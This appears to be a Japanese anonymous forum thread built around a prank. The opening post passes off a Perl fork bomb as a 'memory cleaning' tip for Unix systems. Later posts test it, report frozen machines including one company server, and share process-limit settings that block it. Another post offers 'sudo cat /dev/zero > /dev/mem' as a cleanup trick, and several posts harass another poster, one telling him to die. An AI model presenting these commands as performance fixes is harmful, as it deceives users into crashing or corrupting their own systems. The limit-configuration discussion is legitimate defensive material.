簡単！メモリクリーニング

[1 名無しさん＠お腹いっぱい。 NG NG]

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

[107 名無しさん＠お腹いっぱい。 NG NG]

**実験結果**

/etc/pam.d/login と /etc/pam.d/ssh に
---
session required pam_limits.so
---
を追加。

以下の内容で/etc/security/limits.conf を作成
---
@stupiduser hard priority 19
@stupiduser hard nofile 8139
@stupiduser hard nproc 20
@stupiduser - maxlogins 2
---

/etc/login.defs の "QUOTAS_ENAB" は
deprecatedらしいのでコメントにする。


念のために3つ以上ログインしようとすると"permission denied"が返ってくる
、つまり設定有効になっていることを確かめてから >>1 をやってみた。

ぜんぜん平気だった。

[108 名無しさん＠お腹いっぱい。 NG NG]

訂正
-@stupiduser
+@stupidgroup
ユーザー名で指定するときは頭の@は要らず、
また、ワイルドカードが使用可の模様。

[109 名無しさん＠お腹いっぱい。 NG NG]

>>96
いやー、mbuf cluster使い切るとpingとかにもぜんぜん答えなくなるけれど、
これって3分くらいで回復しないのではないかと思うので30分くらい待ちましょうということで。

>>97
むしろすぐに「死んだ」と言うなんてかなり気が短いと思うが。

[110 名無しさん＠お腹いっぱい。 NG NG]

>>107
実験環境キボーンヌ。
OSは?kernel versionは?マシンのスペックは?

[111 名無しさん＠お腹いっぱい。 NG NG]

>>109
でもさすがに３０分も放置ﾌﾟﾚｲだとTCPも切れるし、
fsck時間考慮しても再起動したほうが早くね？

[112 名無しさん＠お腹いっぱい。 NG NG]

うちではfsckなんてありません。
ジャーナリングファイルシステム マンセー

[113 名無しさん＠お腹いっぱい。 NG NG]

うちではfsckなんてありません。
スキャンディスク マンセー

[114 名無しさん＠お腹いっぱい。 NG NG]

ﾜﾗﾀ

[115 名無しさん＠お腹いっぱい。 NG NG]

結局は何も設定してないLinux系は止まってしまうということですか…

[116 名無しさん＠お腹いっぱい。 NG NG]

いいえ
つか、アンチ必死だな

[117 名無しさん＠お腹いっぱい。 NG NG]

で、どうやったらLinux止まるんだ？
>>1のやつじゃ、ビクともしませんが。

[118 名無しさん＠お腹いっぱい。 NG NG]

halt
もしくは
shutdown -h now

確実に止まります、Linuxに限らずUnix系OSはウンコですね。

[119 名無しさん＠お腹いっぱい。 NG NG]

Linuxは30分に１分程度使えるくらいなら正常動作説浮上

[120 名無しさん＠お腹いっぱい。 NG NG]

Windowsはコマンド一個じゃ止まりません。
すばらしい堅剛性 まさに無敵。
おまいら、羨しいだろ。
素直にWindows使え。

[121 名無しさん＠お腹いっぱい。 NG NG]

>>119
ﾊｧ? 何言ってんの？
WindowsやMacと一緒にすんなよ。

きもちわりー

[122 名無しさん＠お腹いっぱい。 NG NG]

無知な窓坊相手にするなよ。
30分に１分使えれば正常動作説 ってことにしといてやれよ。
じゃないと、>>119が可哀想。
ああいう事するしか自分を支え術がないんだよ。
可哀想な人なんだよ。

[123 名無しさん＠お腹いっぱい。 NG NG]

そうか、すまんかった>>119
イキロ

[124 名無しさん＠お腹いっぱい。 NG NG]

可哀想な>>119を慰めるスレはここですか？

[125 名無しさん＠お腹いっぱい。 NG NG]

>>119
がんがれよ、その内いいこともあるさ

[126 NG NG]

>>119
がんがれよ、その内いいこともあるさ

[127 名無しさん＠お腹いっぱい。 NG NG]

>>119に友達になってくれそうな人探してきた。

いらすま
山崎渉
山崎13
自動化

よかったね。 友達増えそうだね。

[128 名無しさん＠お腹いっぱい。 NG NG]

>>119
がんがって氏ね

[129 名無しさん＠お腹いっぱい。 NG NG]

>>128
そんな事いっちゃみもふたもないよ!
どんな奴にも生きる権利はあるんだよ!!
がんがれ>>119 まけんな!
いつか良いことあるさ!
とりあえず、学校で友達つくろうね!

[130 名無しさん＠お腹いっぱい。 NG NG]

>>119
友達作る前に、まずは家から出ようね!

[131 名無しさん＠お腹いっぱい。 NG NG]

>>119
家から出る前に、家族と話す練習しておこうね!

[132 NG NG]

漏は、>>119 が可哀想になってきたよ

[133 名無しさん＠お腹いっぱい。 NG NG]

>>132
みんな同じ気持だよ!
だから>>119を応援してあげようね!

>>119 カウンセリングはちゃんと受けようね!
病院の先生の言う事聞いて早く学校に行けるようになると良いね!!!
学校で精神薄弱者扱いされても、めげちゃだめだよ!!!!

[134 名無しさん＠お腹いっぱい。 NG NG]

>>1
動かしました。
スワップぎこぎこ言ってたのでCTRL+Cしたあとにfreeしたら
空きがすっぽり増えてました・・・

けどキャッシュがへってんじゃねぇかよ！意味ねぇっつうの！

[135 名無しさん＠お腹いっぱい。 NG NG]

>>134
書き込む前にレスは嫁

[136 名無しさん＠お腹いっぱい。 NG NG]

>>1のやり方じゃあスワップは発生せんということ

[137 119 NG NG]

>>123
ありがと。わかってくれるのはきみと>>109だけだよ。

[138 名無しさん＠お腹いっぱい。 NG NG]

CTRL+C で抜けられるジャン、は「落ちている」の範疇に含まれるですね。
すいませんでした。

>>107
[root@g /root]# uname -r
2.2.18-0vl4.2my

で同じ設定やってみました。
一般ユーザーからならこれで大丈夫なことが私の方でも
上記カーネルの Vine 2.1.5 で確認できました。

ただやはり root からだと駄目みたいです。
プロセスが起動できませんとかってコマンドがでてしまいます。

CTRL+C できない状況だった場合は、もうどうしよーも無いという認識
でOKでしょうか。

SysRq キーとかから蘇生させる方法とか、なんかまた明日の就業時間
中にでも調べてみます。

＞＞＜レガッタでやった人の番号＞
# 会社のマシンじゃRegatta どころか C20 とかでもこんなこと
# 俺できない立場っすよ。いいですね本当に良い物で遊べるなんて。

[139 名無しさん＠お腹いっぱい。 NG NG]

ctrl+alt+k

[140 名無しさん＠お腹いっぱい。 NG NG]

>>118
見てたら眠くなってきた。

[141 名無しさん＠お腹いっぱい。 NG NG]

Ctrl+Cでは止まらんかったぞい

[142 名無しさん＠お腹いっぱい。 NG NG]

>>120
http://www.microsoft.com/japan/windowsxp/expertzone/tips/february/randow1.asp
http://arena.nikkeibp.co.jp/qa/os/20020320/01/
知識を得てから煽れ。

[143 名無しさん＠お腹いっぱい。 NG NG]

どりゃぁ！
sudo cat /dev/zero > /dev/mem
少しすっきり・・・しない？

[144 名無しさん＠お腹いっぱい。 NG NG]

まあとにかく
結果はどうあれ

Ｌ　ｉ　ｎ　ｕ　ｘ　は　ウ　ン　コ　
　と　に　か　く　ウ　ン　コ
　 絶　対　ウ　ン　コ
　ウ　ン　コ　以　外　あ　り　え　な　い
Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　最　強

[145 名無しさん＠お腹いっぱい。 NG NG]

さっき、自鯖にNetBSD入れました…
社内用なんでSambaとApacheしか動かさないけど
それでいいよね（ｗ

[146 名無しさん＠お腹いっぱい。 NG NG]

Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　を　入　れ　な　さ　い
　Ｎ　ｅ　ｔ　Ｂ　Ｓ　Ｄ　な　ん　て　気　違　い　の　使　う　物　で　す

[147 あぼーん NG NG]

あぼーん

[148 名無しさん＠お腹いっぱい。 NG NG]

>>146
いれるまでもなく最初から入ってますが。

[149 名無しさん＠お腹いっぱい。 NG NG]

ふーん

[150 名無しさん＠お腹いっぱい。 NG NG]

この板にもWin厨がいるんだ・・・
ってかtatibanaか？Linux板で居場所がなくなったからこっちきたとか？

[151 おむこさん志望 ◆QtGqCwfDSA NG NG]

Linux 2.5.72/Celeron 1.4G/384MB で試した結果、ユーザの最大プロセス数が
大きい値( Debian sid で 3071 )でかつカーネルパラメータを特に変更せずに
>>1 をやると結構辛い(一応再起動せずに終了できたけど。)

>>84
/proc/sys/kernel/threads-max をもっと小さめ(デフォルトで6000)に制限して
おくと unlimited でもハングアップしなくなるよ。

NetBSD 1.6.1 では、ユーザ側でたとえ最大プロセス数が unlimited でも
/netbsd: proc: table is full - increase kern.maxproc or NPROC と >>83 みたいに
デフォルトの値が小さめになってる(というか Linux のデフォルトがまずいのか)ので
問題なく終了できた。

[152 名無しさん＠お腹いっぱい。 NG NG]

ほらLinuxはウンコだ。
Windowsは自己防御のために再起動してくれる親切設計なのにね。
Linuxは時代遅れ決定(ｹﾞﾗｹﾞﾗ

[153 名無しさん＠お腹いっぱい。 NG NG]

Linuxウンコ記念age

[154 名無しさん＠お腹いっぱい。 NG NG]

>>152
禿しく何かが違う気がするが
(ーё一)ｷﾉｾｰﾆｬ。

[155 名無しさん＠お腹いっぱい。 NG NG]

ネ タ で す か らw

[156 名無しさん＠お腹いっぱい。 NG NG]

Windowsはユーザに見苦しいエラーメッセージを見せず
鮮かなブルーの画面で、ユーザーの心を癒し
ユーザーの手間を煩わせず自動で再起動。

それまでの作業中のファイルは、ユーザー教育のために一から作成させる
すばらしい心意気。

[157 名無しさん＠お腹いっぱい。 NG NG]

プロセス数制限すると大丈夫ってことで
じゃあ制限を外すとどうなるのかってのが気になる

[158 名無しさん＠お腹いっぱい。 NG NG]

と、こんな感じ？w

[159 １５７ NG NG]

すまんそ

[160 名無しさん＠お腹いっぱい。 NG NG]

いえいえ。

[161 名無しさん＠お腹いっぱい。 NG NG]

>>156
しかも、画面の色が赤とか黒とかではなく、
世界で最も愛される色・気持ちを落ち着かせてくれる色である
「青」というのが大きなポイントだね。

[162 名無しさん＠お腹いっぱい。 NG NG]

そう、エラーという不測の自体を
癒しにかえてくれる素敵なWindows

[163 名無しさん＠お腹いっぱい。 NG NG]

最近は謝ってくれるらしいし

[164 名無しさん＠お腹いっぱい。 NG NG]

XPか。
そういや、Gentoo Linux 使ってみたら

su
Password:
su: Authentication failure
申し訳ございません.

陳謝ブームか？

[165 名無しさん＠お腹いっぱい。 NG NG]

>>143

神！！！

[166 NG NG]

>>143
sudoers に、catが登録されてません

[167 名無しさん＠お腹いっぱい。 NG NG]

>>166
suしてくらさい

[168 名無しさん＠お腹いっぱい。 NG NG]

そうっsuか。

[169 名無しさん＠お腹いっぱい。 NG NG]

kernel.orgで誰か試したな。ﾜﾗﾀ。

[170 名無しさん＠お腹いっぱい。 NG NG]

load averages最高記録はこのスレでよいですか?

[171 名無しさん＠お腹いっぱい。 NG NG]

>>170
漏れは300いった。

[172 名無しさん＠お腹いっぱい。 NG NG]

うほっ！けっこうマジメな動作報告スレと化してるじゃん。ﾜﾛｰﾀ
犬糞馬糞のほかはどうなんよ?
この際、商用ウニ糞での結果の方が重要だろ(とマジメぶってみる

[173 名無しさん＠お腹いっぱい。 NG NG]

こういうのはさ、
「一般ユーザがソシアルハックなしに
そのマシンを動作不能にできるのはバグである」
というような考え方なのかな。

[174 名無しさん＠お腹いっぱい。 NG NG]

バグとは違う様な

[175 名無しさん＠お腹いっぱい。 NG NG]

つーか物言いが極端なﾔｼだな

[176 名無しさん＠お腹いっぱい。 NG NG]

これをバグというなら、アクセルいきなり床まで踏んで尻を
振ってしまうような車は欠陥車、とかいう話になる。

[177 173 NG NG]

バグってのは極端な言い方だったけど、
そういう考え方をどっかで聞いたことがあったのよ。
「UNIX は性善説のシステム」とかだったかな。
win, mac も同じだが。

ATM が一般ユーザにとめられたらバグという表現になるんだろうけどな。
自由度と堅牢性の両立の問題だな。

[178 名無しさん＠お腹いっぱい。 NG NG]

それはメインフレームとの比較で使われる言葉かと。
あとはMulticsとの比較とか。
確かに性善説ではあるが、利便性とのドレードオフで
使い易く・軽いシステムに成った。
# 最近は肥大化で重ーくなりつつあるが・・・

[179 名無しさん＠お腹いっぱい。 NG NG]

ドレードオフ？

[180 46 NG NG]

>>レスをいただいた皆様。
46です。なんかが、目をはなしているうちに嘘つきよばわりされているので....

P4+RAM512M+スワップ512M に 素の2.4.20(パッチなし) + RedHat7.3由来のユーザランド
で、既に起動していたXのプログラム, Xサーバ自身, デーモン類 もおちていきました。
最終的になにがのこったのかはtopが殺されてからはわからなくなりましたが、
操作ができなくなったため最終的には電源を遮断しました。

[181 名無しさん＠お腹いっぱい。 NG NG]

PCの性能それ激しく劣るけども、ほぼ同等の状態があるので
テストしてみました。

ほんとに落ちるのだろうか、まだ落ちる気配もない。

[182 181 NG NG]

>>180はデーモン何動かしてるんだろ
うちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。
それとdbskkd-cdbくらいかな。
MMX pentium 200Mhz Mem96MB。
普通に使っててもメモリ不足気味な状態です。

[183 46 NG NG]

>>180
捕捉。
no more processes? がでるまで数分かかりました。10分いかないぐらいでプ
ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな
いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動?
電源遮断は40分後です。

[184 名無しさん＠お腹いっぱい。 NG NG]

>>180
1. rootでやったのか？
2. プロセス数制限はあったのか？

[185 名無しさん＠お腹いっぱい。 NG NG]

>>184
root で 全unlimitです。

[186 名無しさん＠お腹いっぱい。 NG NG]

会社のサーバーにSSHで繋いでリモートからroot になったあと実行。
OS はRedHatだが、固まった。
結構重要なシステムなので漏れは首だな。
首ですむならまだいいが、損害も出るだろうから
もう終りだ。2chに書いてあったから試してみたなんて
言えるはずが無い。
あああああ。

[187 名無しさん＠お腹いっぱい。 NG NG]

ホームラン級のバカだな。
なんでｿﾗﾘｽでやったとかAIXでやったとか
いう書き込みがないのか、今なら分かるだろ?

[188 名無しさん＠お腹いっぱい。 NG NG]

>>186のメジャー移籍が決定しますた

[189 名無しさん＠お腹いっぱい。 NG NG]

>>186
まぁ、冗談だとは思うけど、仮に事実だとして、
君みたいなのに重要なサーバのroot権限与えてるような会社だったら
原因不明でセーフだろ
それに、転職できるチャンスだよ、鯖管は君には向いてないよ。

[190 名無しさん＠お腹いっぱい。 NG NG]

プロセステーブル使い果たして落ちるだけだと思うんだが...
普通なら、それ以前にlimitで止められる。

[191 名無しさん＠お腹いっぱい。 NG NG]

>>187
スレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・
>>190
スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。
ただしカーネル2.5系では蘇生可能という説も。

[192 名無しさん＠お腹いっぱい。 NG NG]

思わず スレタイ をよく読んでしまい、( ﾟДﾟ)? となる漏れであった。

[193 名無しさん＠お腹いっぱい。 NG NG]

>>191
limitは2.4でも出来ますが

[194 名無しさん＠お腹いっぱい。 NG NG]

定説です。

[195 名無しさん＠お腹いっぱい。 NG NG]

>>1
# yes > /dev/null

ではダメか？

[196 名無しさん＠お腹いっぱい。 NG NG]

>>191
ulimit -u 32; perl ...
でブロックできてるが、これとは違うのか？
--- 2.4.20にて

[197 名無しさん＠お腹いっぱい。 NG NG]

>>196
root でやってみてよ！
ダメでしょ！
おちるでしょ！
at Redhat9

kernel になにかパッチとかしたんですか？

[198 名無しさん＠お腹いっぱい。 NG NG]

赤帽は独自にパッチ集めてきて当ててるよ。
むしろ、自前パッチもあたってるな。

[199 名無しさん＠お腹いっぱい。 NG NG]

まぁrootはある意味、神なので
rm -rf * もできるし
limitを超えての操作が出来てもあたりまえなんすかねぇ…(?

[200 名無しさん＠お腹いっぱい。 NG NG]

plan9つかえ

[201 名無しさん＠お腹いっぱい。 NG NG]

Woody kernel-2.4.18 一般ユーザで実行
完全にフリーズ状態で外部からping以外反応無し
焦ってctrl+alt+delete三十回ほど連打したら何とか再起動
これじゃやばいっす

[202 名無しさん＠お腹いっぱい。 NG NG]

plan9使えといっている

[203 名無しさん＠お腹いっぱい。 NG NG]

焦ってctrl+alt+delete三十回ほど連打するヤツがやばいっす

[204 名無しさん＠お腹いっぱい。 NG NG]

三十連打は定説ですYO！

[205 名無しさん＠お腹いっぱい。 NG NG]

おまいら無視しないでください

p l a n 9 を 使 え と 言 っ て る

[206 名無しさん＠お腹いっぱい。 NG NG]

なんすかそれ？